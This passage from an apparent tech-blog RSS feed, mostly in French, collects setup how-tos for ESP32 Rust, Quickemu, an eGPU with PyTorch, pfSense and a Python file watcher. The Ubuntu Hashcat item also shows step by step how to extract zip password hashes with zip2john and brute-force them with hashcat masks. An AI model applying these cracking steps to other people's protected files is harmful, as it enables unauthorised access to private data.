<pre tabindex="0"><code>arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Run Rust code on ESP32</title>
            <link>https://leandeep.com/run-rust-code-on-esp32/</link>
            <pubDate>Mon, 24 Mar 2025 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/run-rust-code-on-esp32/</guid>
            <description>&lt;p&gt;In this brief article, we will explore how to set up the ESP32 development environment to build and run Rust code on the ESP-WROOM-32. This procedure is written to work on Ubuntu 22 with a 64-bit Intel processor. The ESP32 is connected to the PC via USB.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Install Ubuntu packages&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt install -y build-essential libssl-dev pkg-config git
sudo apt install -y python3-pip python3-venv
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Configure USB permissions&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo usermod -aG dialout $USER
sudo usermod -aG tty $USER
# Restart the session
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Install Rust&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this brief article, we will explore how to set up the ESP32 development environment to build and run Rust code on the ESP-WROOM-32. This procedure is written to work on Ubuntu 22 with a 64-bit Intel processor. The ESP32 is connected to the PC via USB.</p>
<br/>
<h2 id="installation">Installation</h2>
<p><strong>Install Ubuntu packages</strong></p>
<pre tabindex="0"><code>sudo apt install -y build-essential libssl-dev pkg-config git
sudo apt install -y python3-pip python3-venv
</code></pre><br/>
<p><strong>Configure USB permissions</strong></p>
<pre tabindex="0"><code>sudo usermod -aG dialout $USER
sudo usermod -aG tty $USER
# Restart the session
</code></pre><br/>
<p><strong>Install Rust</strong></p>
<pre tabindex="0"><code>curl --proto &#39;=https&#39; --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env
</code></pre><br/>
<p><strong>Install espup for Xtensa (ESP-WROOM-32 architecture)</strong></p>
<pre tabindex="0"><code>cargo install espup
espup install
source ~/export-esp.sh
</code></pre><br/>
<p><strong>Additional tools</strong></p>
<pre tabindex="0"><code>cargo install cargo-generate espflash cargo-espflash ldproxy
</code></pre><br/>
<h2 id="create-a-package-build-and-deploy">Create a package, build and deploy</h2>
<pre tabindex="0"><code>cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd esp32-project
</code></pre><br/>
<p><strong>Build</strong></p>
<pre tabindex="0"><code>source ~/export-esp.sh
cargo build
</code></pre><br/>
<p><strong>Flash on ESP32</strong></p>
<pre tabindex="0"><code>espflash flash target/xtensa-esp32-espidf/debug/esp32-project --monitor
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<pre tabindex="0"><code>sudo apt install libudev-dev libusb-1.0-0-dev
</code></pre><p><br/>
<strong>Check permissions</strong></p>
<pre tabindex="0"><code>ls -l /dev/ttyUSB0  # Must belong to &#39;dialout&#39; group
# sudo usermod -a -G dialout $USER
# sudo chown $USER /dev/ttyUSB0
</code></pre><br/>
<p><strong>Check espflash version</strong></p>
<pre tabindex="0"><code>espflash --version  # Requires v2.0+
</code></pre><br/>
<p><strong>Verify communication with ESP</strong></p>
<pre tabindex="0"><code>espflash board-info
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer quickemu sur Ubuntu 22.04</title>
            <link>https://leandeep.com/installer-quickemu-sur-ubuntu-22.04/</link>
            <pubDate>Fri, 07 Feb 2025 07:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-quickemu-sur-ubuntu-22.04/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment installer Quickemu sur Ubuntu 22.04 pour créer des VM sur Ubuntu.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation de quickemu&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# check if python3 is installed 
# python3 --version
# sudo apt install python3 # si nécessaire
sudo apt install qemu bash coreutils ovmf grep jq lsb procps genisoimage usbutils util-linux sed spice-client-gtk swtpm wget xdg-user-dirs zsync unzip

sudo apt-add-repository ppa:flexiondotorg/quickemu
sudo apt update
sudo apt install quickemu
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation du GUI&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment installer Quickemu sur Ubuntu 22.04 pour créer des VM sur Ubuntu.</p>
<br/>
<p><strong>Installation de quickemu</strong></p>
<pre tabindex="0"><code># check if python3 is installed 
# python3 --version
# sudo apt install python3 # si nécessaire
sudo apt install qemu bash coreutils ovmf grep jq lsb procps genisoimage usbutils util-linux sed spice-client-gtk swtpm wget xdg-user-dirs zsync unzip

sudo apt-add-repository ppa:flexiondotorg/quickemu
sudo apt update
sudo apt install quickemu
</code></pre><br/>
<p><strong>Installation du GUI</strong></p>
<pre tabindex="0"><code>sudo add-apt-repository ppa:yannick-mauray/quickgui
sudo apt update
sudo apt install quickgui
</code></pre><br/>
<p><strong>CLI usage</strong></p>
<pre tabindex="0"><code>quickget ubuntu-mate 20.04
quickemu --vm ubuntu-mate-20.04.conf

# doc: https://github.com/quickemu-project/quickemu/wiki/06-Advanced-quickget-features
</code></pre><br/>
<blockquote>
<p>Tip: Cliquez sur <code>Ctrl</code> + <code>Alt</code> + <code>f</code> pour quitter le mode fullscreen</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Installer Hashcat sur Ubuntu 22.04</title>
            <link>https://leandeep.com/installer-hashcat-sur-ubuntu-22.04/</link>
            <pubDate>Thu, 06 Feb 2025 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-hashcat-sur-ubuntu-22.04/</guid>
            <description>&lt;p&gt;Dans cet article, nous allons voir comment installer Hashcat v6.2.5 sur Ubuntu 22 (PopOS).&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Pré-requis&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nvidia-smi&lt;/code&gt; déjà installé.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation de hashcat&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt upgrade
apt install hashcat
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installation de Cuda Toolkit 11.7&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget https://developer.download.nvidia.com/compute/cuda/11.7.0/local_installers/cuda_11.7.0_515.43.04_linux.run
sudo sh cuda_11.7.0_515.43.04_linux.run
# Installer Cuda et refuser l&amp;#39;installation du Driver Nvidia
# Une fois l&amp;#39;installation terminée, ajouter cuda au bashrc

echo &amp;#34;export PATH=/usr/local/cuda-11.7/bin:$PATH&amp;#34; &amp;gt;&amp;gt; ~/.bashrc
echo &amp;#34;export LD_LIBRARY_PATH=/usr/local/cuda-11.7/lib64:$LD_LIBRARY_PATH&amp;#34; &amp;gt;&amp;gt; ~/.bashrc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Vérification&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment installer Hashcat v6.2.5 sur Ubuntu 22 (PopOS).</p>
<br/>
<p><strong>Pré-requis</strong></p>
<p><code>nvidia-smi</code> déjà installé.</p>
<br/>
<p><strong>Installation de hashcat</strong></p>
<pre tabindex="0"><code>sudo apt update
sudo apt upgrade
apt install hashcat
</code></pre><br/>
<p><strong>Installation de Cuda Toolkit 11.7</strong></p>
<pre tabindex="0"><code>wget https://developer.download.nvidia.com/compute/cuda/11.7.0/local_installers/cuda_11.7.0_515.43.04_linux.run
sudo sh cuda_11.7.0_515.43.04_linux.run
# Installer Cuda et refuser l&#39;installation du Driver Nvidia
# Une fois l&#39;installation terminée, ajouter cuda au bashrc

echo &#34;export PATH=/usr/local/cuda-11.7/bin:$PATH&#34; &gt;&gt; ~/.bashrc
echo &#34;export LD_LIBRARY_PATH=/usr/local/cuda-11.7/lib64:$LD_LIBRARY_PATH&#34; &gt;&gt; ~/.bashrc
</code></pre><br/>
<p><strong>Vérification</strong></p>
<pre tabindex="0"><code>nvcc --version
hashcat -I

Test de crack du MD5 suivant: 82a4b202be22fbbcd236d2f65988acde pour vérifier que les GPUs sont ok.
echo &#34;82a4b202be22fbbcd236d2f65988acde&#34; &gt; hash.txt
hashcat -a 3 -m 0 --increment --increment-min=1 --increment-max=20 hash.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1
</code></pre><br/>
<p><strong>Extraire des hashes (d&rsquo;un zip par exemple)</strong></p>
<pre tabindex="0"><code>sudo apt install john build-essential libssl-dev zlib1g-dev -y
git clone &#34;https://github.com/magnumripper/JohnTheRipper.git&#34; &amp;&amp; cd JohnTheRipper/src &amp;&amp; ./configure &amp;&amp; sudo make -s clean &amp;&amp; sudo make -sj4 

# Trouver le path de zip2john
sudo find / -name zip2john 2&gt;/dev/null
echo &#34;export PATH=/home/olivier/JohnTheRipper/run:$PATH&#34; &gt;&gt; ~/.bashrc
zip2john archive.zip &gt; archive.hash

# Ou sur OSX 
/opt/homebrew/Cellar/john-jumbo/1.9.0_1/share/john/zip2john archive.zip &gt; archive.hash
</code></pre><br/>
<p><strong>Trouver un mot de passe</strong></p>
<pre tabindex="0"><code># Cleaner le hash du zip
sed &#39;s/^.*\(\$pkzip\$.*\$\/pkzip\$\).*/\1/&#39; archive.hash &gt; fixed.hash

# Exemples: 
## Exemple 1 pour mot de passe monMotDePasse:
$pkzip2$1*2*2*0*11*5*3bb935c6*0*46*0*11*3bb9*7421*049b7aaecce339b3f7252da83f0a1b1231*$/pkzip2$
## Exemple 2 pour mot de passe monMDP:
$pkzip2$1*2*2*0*15*9*4af10d19*0*46*0*15*4af1*8d6f*651a278b80d96268b1a8ec6cbc400c7ebc6592f377*$/pkzip2$

- Mode 13600 (ou similaire) pour le chiffrement traditionnel (ZipCrypto).
- Mode 17210 pour les archives utilisant AES (PKZIP2).

# Pour du pkzip
hashcat -a 3 -m 13600 --increment --increment-min=1 --increment-max=20 fixed.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a
Ou
# Pour du pkzip2
hashcat -a 3 -m 17210 --increment --increment-min=1 --increment-max=20 fixed.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a
Ou
hashcat -m 17200 -a 3 -w 4 --optimized-kernel-enable fixed.hash ?a?a?a?a?a?a
</code></pre><p>Voir ~/.hashcat/hashcat.potfile pour le résultat ou <code>hashcat --show archive.hash</code></p>
<br/>
<p><strong>Troubleshooting</strong></p>
<p><code>Hashfile 'archive_hash.txt' on line 1 (archiv....04.png:archive.zip::archive.zip): Signature unmatched</code> -&gt; Vérifiez le type de chiffrement utilisé:</p>
<pre tabindex="0"><code>sudo apt install p7zip-full 
7z l -slt archive.zip | grep Method

Method = ZipCrypto → OK pour zip2john.
Method = AES-256 → Nécessite une approche différente.
</code></pre><br/>
<p>Bloquer la mise en veille automatique d&rsquo;Ubuntu pour éviter que tout s&rsquo;arrête&hellip;</p>
<pre tabindex="0"><code>sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Hashcat sur Fedora 41</title>
            <link>https://leandeep.com/installer-hashcat-sur-fedora-41/</link>
            <pubDate>Sat, 25 Jan 2025 22:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-hashcat-sur-fedora-41/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Installation&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo dnf install hashcat hashcat-devel hashcat-doc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Vérifier si votre GPU est détecté&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hashcat -I
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Réaliser un benchmark&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;hashcat -b
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Faire un test avec un hash MD5&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
  &amp;amp;&amp;amp; unzip SecList.zip \
  &amp;amp;&amp;amp; rm -f SecList.zip

echo &amp;#34;5d41402abc4b2a76b9719d911017c592&amp;#34; &amp;gt; test.hash
hashcat -m 0 -a 0 test.hash ~/Dev/SecLists-master/Passwords/xato-net-10-million-passwords-1000000.txt
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p><strong>Installation</strong></p>
<pre tabindex="0"><code>sudo dnf install hashcat hashcat-devel hashcat-doc
</code></pre><br/>
<p><strong>Vérifier si votre GPU est détecté</strong></p>
<pre tabindex="0"><code>hashcat -I
</code></pre><br/>
<p><strong>Réaliser un benchmark</strong></p>
<pre tabindex="0"><code>hashcat -b
</code></pre><br/>
<p><strong>Faire un test avec un hash MD5</strong></p>
<pre tabindex="0"><code>wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
  &amp;&amp; unzip SecList.zip \
  &amp;&amp; rm -f SecList.zip

echo &#34;5d41402abc4b2a76b9719d911017c592&#34; &gt; test.hash
hashcat -m 0 -a 0 test.hash ~/Dev/SecLists-master/Passwords/xato-net-10-million-passwords-1000000.txt
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer un eGPU Razer Core X sur Fedora 41 et faire tourner Pytorch</title>
            <link>https://leandeep.com/installer-un-egpu-razer-core-x-sur-fedora-41-et-faire-tourner-pytorch/</link>
            <pubDate>Thu, 23 Jan 2025 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-un-egpu-razer-core-x-sur-fedora-41-et-faire-tourner-pytorch/</guid>
            <description>&lt;p&gt;Dans cet article écrit très rapidement, nous allons voir comment installer un GPU dans un boitier eGPU Razer Core X. L&amp;rsquo;ajout de cet eGPU permet d&amp;rsquo;avoir plus de puissance de calcul comparé au CPU pour l&amp;rsquo;inférence de modèles avec Pytorch.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Activez le dépôt RPM Fusion&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le dépôt RPM Fusion fournit les pilotes NVIDIA officiels pour Fedora.&lt;/p&gt;&lt;/blockquote&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo dnf install \
    https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm \
    https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo dnf upgrade --refresh
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Installez les pilotes NVIDIA&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article écrit très rapidement, nous allons voir comment installer un GPU dans un boitier eGPU Razer Core X. L&rsquo;ajout de cet eGPU permet d&rsquo;avoir plus de puissance de calcul comparé au CPU pour l&rsquo;inférence de modèles avec Pytorch.</p>
<br/>
<p><strong>Activez le dépôt RPM Fusion</strong></p>
<blockquote>
<p>Le dépôt RPM Fusion fournit les pilotes NVIDIA officiels pour Fedora.</p></blockquote>
<pre tabindex="0"><code>sudo dnf install \
    https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm \
    https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm
</code></pre><br/>
<pre tabindex="0"><code>sudo dnf upgrade --refresh
</code></pre><br/>
<p><strong>Installez les pilotes NVIDIA</strong></p>
<pre tabindex="0"><code>sudo dnf install akmod-nvidia
sudo dnf install xorg-x11-drv-nvidia-cuda
sudo reboot
</code></pre><br/>
<p><strong>Vérifiez l&rsquo;installation</strong></p>
<pre tabindex="0"><code>nvidia-smi

sudo dnf install python3.11
sudo alternatives --install /usr/bin/python3 python3 /usr/bin/python3.11 1
sudo alternatives --display python3
python3 --version
curl -O https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py
pip --version
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118
</code></pre><br/>
<p>Créer un fichier main.py pour vérifier que Pytorch est accessible et détecte bien votre GPU.</p>
<pre tabindex="0"><code>import torch

print(&#34;Is CUDA available:&#34;, torch.cuda.is_available())
print(&#34;Number of GPUs:&#34;, torch.cuda.device_count())
print(&#34;Current GPU:&#34;, torch.cuda.get_device_name(0) if torch.cuda.is_available() else &#34;None&#34;)

if torch.cuda.is_available():
    x = torch.tensor([1.0, 2.0, 3.0], device=&#39;cuda&#39;)
    print(x)
</code></pre><br/>
<p><strong>Troubleshooting</strong></p>
<p>Si vous rencontrez l&rsquo;erreur suivante:</p>
<p><code>NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver. Make sure that the latest NVIDIA driver is installed and running.</code></p>
<p>Alors autoriser l&rsquo;accès au thunderbolt via la commande:</p>
<pre tabindex="0"><code>echo 1 | sudo tee /sys/bus/thunderbolt/devices/*/authorized

# Voir si le eGPU est accessible:
# sudo dnf install bolt 
# sudo systemctl restart bolt
# boltctl list
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Fixer une IP avec Pfsense</title>
            <link>https://leandeep.com/fixer-une-ip-avec-pfsense/</link>
            <pubDate>Sat, 11 Jan 2025 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/fixer-une-ip-avec-pfsense/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Configurer une IP fixe dans pfSense&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allez dans &lt;code&gt;Services &amp;gt; DHCP Server&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sélectionnez l&amp;rsquo;interface correspondante (par exemple, LAN).&lt;/li&gt;
&lt;li&gt;Ajouter une réservation DHCP :
&lt;ul&gt;
&lt;li&gt;Descendez jusqu&amp;rsquo;à la section &lt;code&gt;DHCP Static Mappings for this Interface&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Cliquez sur Add (+).&lt;/li&gt;
&lt;li&gt;Configurer les détails de la réservation :
&lt;ul&gt;
&lt;li&gt;MAC Address : Entrez l&amp;rsquo;adresse MAC de l&amp;rsquo;appareil.&lt;/li&gt;
&lt;li&gt;IP Address : Choisissez une adresse IP fixe dans la plage autorisée mais en dehors de la plage dynamique du DHCP.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Save&lt;/li&gt;
&lt;li&gt;Appliquer&lt;/li&gt;
&lt;/ul&gt;</description>
            <content type="html"><![CDATA[<p><strong>Configurer une IP fixe dans pfSense</strong></p>
<ul>
<li>Allez dans <code>Services &gt; DHCP Server</code>.</li>
<li>Sélectionnez l&rsquo;interface correspondante (par exemple, LAN).</li>
<li>Ajouter une réservation DHCP :
<ul>
<li>Descendez jusqu&rsquo;à la section <code>DHCP Static Mappings for this Interface</code>.</li>
<li>Cliquez sur Add (+).</li>
<li>Configurer les détails de la réservation :
<ul>
<li>MAC Address : Entrez l&rsquo;adresse MAC de l&rsquo;appareil.</li>
<li>IP Address : Choisissez une adresse IP fixe dans la plage autorisée mais en dehors de la plage dynamique du DHCP.</li>
</ul>
</li>
</ul>
</li>
<li>Save</li>
<li>Appliquer</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Surveiller et redémarrer un script Python dès qu&#39;un fichier est modifié</title>
            <link>https://leandeep.com/surveiller-et-red%C3%A9marrer-un-script-python-d%C3%A8s-quun-fichier-est-modifi%C3%A9/</link>
            <pubDate>Sat, 11 Jan 2025 23:32:00 +0200</pubDate>
            
            <guid>https://leandeep.com/surveiller-et-red%C3%A9marrer-un-script-python-d%C3%A8s-quun-fichier-est-modifi%C3%A9/</guid>
            <description>&lt;p&gt;On peut utiliser watchdog pour surveiller les modifications des fichiers et relancer automatiquement un module/script lorsque des modifications sont détectées. Voici un exemple complet:&lt;/p&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;pip install watchdog&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;créer-un-script-de-surveillance&#34;&gt;Créer un script de surveillance&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Tracker un fichier.py&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Créer par exemple un fichier appelé &lt;code&gt;run_and_reload.py&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;import time
import os
import sys
import argparse
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class TargetFileHandler(FileSystemEventHandler):
    def __init__(self, target_file):
        self.target_file = os.path.abspath(target_file)

    def on_modified(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f&amp;#34;[MODIFIED] {event.src_path}&amp;#34;)

    def on_deleted(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f&amp;#34;[DELETED] {event.src_path}&amp;#34;)

    def on_created(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f&amp;#34;[CREATED] {event.src_path}&amp;#34;)

def main():
    parser = argparse.ArgumentParser(description=&amp;#34;Monitor a .py file for changes.&amp;#34;)
    parser.add_argument(&amp;#34;file&amp;#34;, help=&amp;#34;Path to the .py file to monitor&amp;#34;)
    parser.add_argument(&amp;#34;-d&amp;#34;, &amp;#34;--directory&amp;#34;, help=&amp;#34;Directory to monitor (default: file&amp;#39;s directory)&amp;#34;)

    args = parser.parse_args()

    file_path = os.path.abspath(args.file)

    if not os.path.isfile(file_path):
        print(f&amp;#34;Error: File &amp;#39;{file_path}&amp;#39; does not exist.&amp;#34;)
        sys.exit(1)

    # Use the provided directory or fallback to the file&amp;#39;s directory
    directory_to_watch = os.path.abspath(args.directory) if args.directory else os.path.dirname(file_path)

    if not os.path.isdir(directory_to_watch):
        print(f&amp;#34;Error: Directory &amp;#39;{directory_to_watch}&amp;#39; does not exist.&amp;#34;)
        sys.exit(1)

    event_handler = TargetFileHandler(file_path)
    observer = Observer()
    observer.schedule(event_handler, path=directory_to_watch, recursive=False)
    observer.start()

    print(f&amp;#34;⏳ Monitoring: {file_path}&amp;#34;)
    print(f&amp;#34;📁 Watched directory: {directory_to_watch}&amp;#34;)
    print(&amp;#34;🔔 Press Ctrl+C to stop&amp;#34;)

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
        print(&amp;#34;\nStopping monitor...&amp;#34;)

    observer.join()

if __name__ == &amp;#34;__main__&amp;#34;:
    main()
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Usage:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>On peut utiliser watchdog pour surveiller les modifications des fichiers et relancer automatiquement un module/script lorsque des modifications sont détectées. Voici un exemple complet:</p>
<h2 id="pré-requis">Pré-requis</h2>
<p><code>pip install watchdog</code></p>
<br/>
<h2 id="créer-un-script-de-surveillance">Créer un script de surveillance</h2>
<p><strong>Tracker un fichier.py</strong></p>
<p>Créer par exemple un fichier appelé <code>run_and_reload.py</code></p>
<pre tabindex="0"><code>import time
import os
import sys
import argparse
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class TargetFileHandler(FileSystemEventHandler):
    def __init__(self, target_file):
        self.target_file = os.path.abspath(target_file)

    def on_modified(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f&#34;[MODIFIED] {event.src_path}&#34;)

    def on_deleted(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f&#34;[DELETED] {event.src_path}&#34;)

    def on_created(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f&#34;[CREATED] {event.src_path}&#34;)

def main():
    parser = argparse.ArgumentParser(description=&#34;Monitor a .py file for changes.&#34;)
    parser.add_argument(&#34;file&#34;, help=&#34;Path to the .py file to monitor&#34;)
    parser.add_argument(&#34;-d&#34;, &#34;--directory&#34;, help=&#34;Directory to monitor (default: file&#39;s directory)&#34;)

    args = parser.parse_args()

    file_path = os.path.abspath(args.file)

    if not os.path.isfile(file_path):
        print(f&#34;Error: File &#39;{file_path}&#39; does not exist.&#34;)
        sys.exit(1)

    # Use the provided directory or fallback to the file&#39;s directory
    directory_to_watch = os.path.abspath(args.directory) if args.directory else os.path.dirname(file_path)

    if not os.path.isdir(directory_to_watch):
        print(f&#34;Error: Directory &#39;{directory_to_watch}&#39; does not exist.&#34;)
        sys.exit(1)

    event_handler = TargetFileHandler(file_path)
    observer = Observer()
    observer.schedule(event_handler, path=directory_to_watch, recursive=False)
    observer.start()

    print(f&#34;⏳ Monitoring: {file_path}&#34;)
    print(f&#34;📁 Watched directory: {directory_to_watch}&#34;)
    print(&#34;🔔 Press Ctrl+C to stop&#34;)

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
        print(&#34;\nStopping monitor...&#34;)

    observer.join()

if __name__ == &#34;__main__&#34;:
    main()
</code></pre><br/>
<p>Usage:</p>
<p><code>python run_and_reload.py my_script.py</code> ou <code>python run_and_reload.py my_script.py -d ./another/path</code></p>
<br/>
<p><strong>Tracker un module</strong></p>
<pre tabindex="0"><code>import time
import os
import sys
import argparse
import subprocess
import threading
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler


class ModuleChangeHandler(FileSystemEventHandler):
    def __init__(self, restart_callback, extensions=(&#34;.py&#34;,)):
        self.restart_callback = restart_callback
        self.extensions = extensions

    def on_any_event(self, event):
        if any(event.src_path.endswith(ext) for ext in self.extensions):
            print(f&#34;[CHANGE DETECTED] {event.src_path}&#34;)
            self.restart_callback()


class ModuleRunner:
    def __init__(self, module_command, watch_directory):
        self.module_command = module_command
        self.watch_directory = watch_directory
        self.process = None

    def start(self):
        print(f&#34;▶️ Starting: {self.module_command}&#34;)
        self.process = subprocess.Popen(
            self.module_command,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            universal_newlines=True,
            bufsize=1,
        )
        threading.Thread(target=self._stream_output, daemon=True).start()

    def _stream_output(self):
        # Read the output line-by-line and forward to main stdout
        for line in self.process.stdout:
            print(line, end=&#34;&#34;)  # already includes \n

    def stop(self):
        if self.process and self.process.poll() is None:
            print(&#34;⏹️ Stopping previous process...&#34;)
            self.process.terminate()
            try:
                self.process.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self.process.kill()

    def restart(self):
        self.stop()
        self.start()


def main():
    parser = argparse.ArgumentParser(
        description=&#34;Watch a Python module and auto-restart on changes.&#34;
    )
    parser.add_argument(&#34;module&#34;, help=&#34;Module to run (example: my_module.main)&#34;)
    parser.add_argument(
        &#34;-d&#34;,
        &#34;--directory&#34;,
        help=&#34;Directory to watch (default: current directory)&#34;,
        default=&#34;.&#34;,
    )

    args = parser.parse_args()
    module_name = args.module
    directory = os.path.abspath(args.directory)

    if not os.path.isdir(directory):
        print(f&#34;Error: Directory &#39;{directory}&#39; does not exist.&#34;)
        sys.exit(1)

    command = f&#34;python -m {module_name}&#34;
    runner = ModuleRunner(command, directory)

    handler = ModuleChangeHandler(runner.restart)
    observer = Observer()
    observer.schedule(handler, path=directory, recursive=True)

    runner.start()
    observer.start()

    print(f&#34;📦 Watching module: {module_name}&#34;)
    print(f&#34;📁 Watching directory: {directory}&#34;)
    print(&#34;🔄 Auto-restart on .py changes. Press Ctrl+C to exit.&#34;)

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print(&#34;\n👋 Exiting...&#34;)
        observer.stop()
        runner.stop()

    observer.join()


if __name__ == &#34;__main__&#34;:
    main()
</code></pre><br/>
<p>Usage:</p>
<p><code>python watch_module.py my_module.main -d .</code></p>
<p><br/>
Et voilà, aussi simple que cela.</p>
]]></content>
        </item>
        
        <item>
            <title>Et vous quels sont vos projets pour 2025 ?</title>
            <link>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2025/</link>
            <pubDate>Sun, 05 Jan 2025 07:00:00 +0200</pubDate>
            
            <guid>https://leandeep.com/et-vous-quels-sont-vos-projets-pour-2025/</guid>
            <description>&lt;p&gt;Tous les ans je me fixe des objectifs professionnels que je partage sur ce blog. Cela me permet de me focaliser durant l&amp;rsquo;année et surtout de me challenger chaque année. Cette année, je me suis fixé un énorme challenge personnel du coup je vais lever le pied sur les challenges pro.&lt;/p&gt;
